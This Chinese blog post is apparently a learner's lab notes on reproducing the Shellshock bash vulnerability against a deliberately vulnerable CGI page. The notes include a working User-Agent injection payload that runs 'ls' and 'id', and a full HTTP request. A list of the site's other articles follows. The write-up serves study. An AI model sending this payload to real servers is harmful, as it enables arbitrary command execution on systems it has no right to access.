• 请勿用于非法用法,本帖仅为学习记录
  • shelshocke简介

    • shellshock即unix 系统下的bash shell的一个漏洞,Bash 4.3以及之前的版本在处理某些构造的环境变量时存在安全漏洞,向环境变量值内的函数定义后添加多余的字符串会触发此漏洞,攻击者可利用此漏洞改变或绕过环境限制,以执行任意的shell命令,甚至完全控制目标系统。
    • bash使用的环境变量是通过函数名称来调用的,以“(){”开头通过环境变量来定义,而在处理这样的恶意的函数环境变量时,并没有以函数结尾 “}” 为结束,而是执行其后的恶意shell命令。
    • 执行CGI 时会调用Bash将Referer、host、UserAgent、header等作为环境变量进行处理。
    • 参考链接:https://blog.csdn.net/qq_40657585/article/details/83242985
  • 复现记录:

    • 打开http://ip:8080,可以看到靶场准备了两个cgi文件,safe.cgi是由最新版本的bash生成的,victim.cgi是由bash4.3生成的页面,漏洞所在。
    • payload

      • User-Agent: () { :;};echo;echo $(/bin/ls -al /);/usr/bin/id; 其实这一段我反复试过了,交换命令的顺序也会影响执行效果,这个本菜鸟还没搞清楚。。

        GET /victim.cgi HTTP/1.1
        Host: 192.168.183.134:
        User-Agent: () { :;};echo;echo $(/bin/ls -al /);/usr/bin/
        id;
        Accept:*/* text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
        Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
        Accept-Encoding: gzip, deflate
        Connection: close
        Referer: http://192.168.183.134:8080/
        Upgrade-Insecure-Requests:
    • 这个问题暂时留着吧。。。

最新文章

  1. Google map markers
  2. Myeclipse的show in breadcrumb
  3. Simple Maven Project
  4. CC MayClg 15 T3
  5. 跟开涛老师学shiro -- 授权
  6. Sq server 关于存储过程,触发器的一些理论简述
  7. 【XMLRPC实现跨语言编程】Tcl <----> python
  8. ASP.Net MVC中JSON处理。
  9. C语言中返回字符串函数的四种实现方法
  10. JAVA HashMap详细介绍和示例
  11. POJ 1062 昂贵的聘礼(dij+邻接矩阵)
  12. UNIX网络编程——经常使用的套接字选项
  13. codeforces493B
  14. C#基础加强(4)之秒懂IL、CTS、CLS和CLR
  15. JAVA中ArrayList与LinkedList的区别以及对应List使用foreach与使用下标遍历的效率问题
  16. [NOIP2012提高]借教室 题解(二分答案+差分)
  17. FCEUX金手指加强版 - 使用Lua脚本语言编写FC/NES金手指脚本
  18. python opencv3 特征提取与描述 DoG SIFT hessian surf
  19. Log4j输出格式控制
  20. .Net中的序列化和反序列化详解

热门文章

  1. 算法训练 瓷砖铺放 【递归】java
  2. C#算法实现获取树的高度
  3. 在linux虚拟机上安装docker并安装mysql
  4. 模块 schedule 定时任务
  5. Go语言库系列之email
  6. 分享一款一直在维护的【网络开发运维|通用调试工具】: http请求, websocket,cmd, RSA,DES, 参数签名工具,脚本批量生成工具,google动态口令,端口检测,组件注册,js混淆...
  7. Java线程及其实现方式
  8. 使用ElasticSearch赋能HBase二级索引 | 实践一年后总结
  9. Spark Streaming 编程入门指南
  10. python--Django(后台管理模块)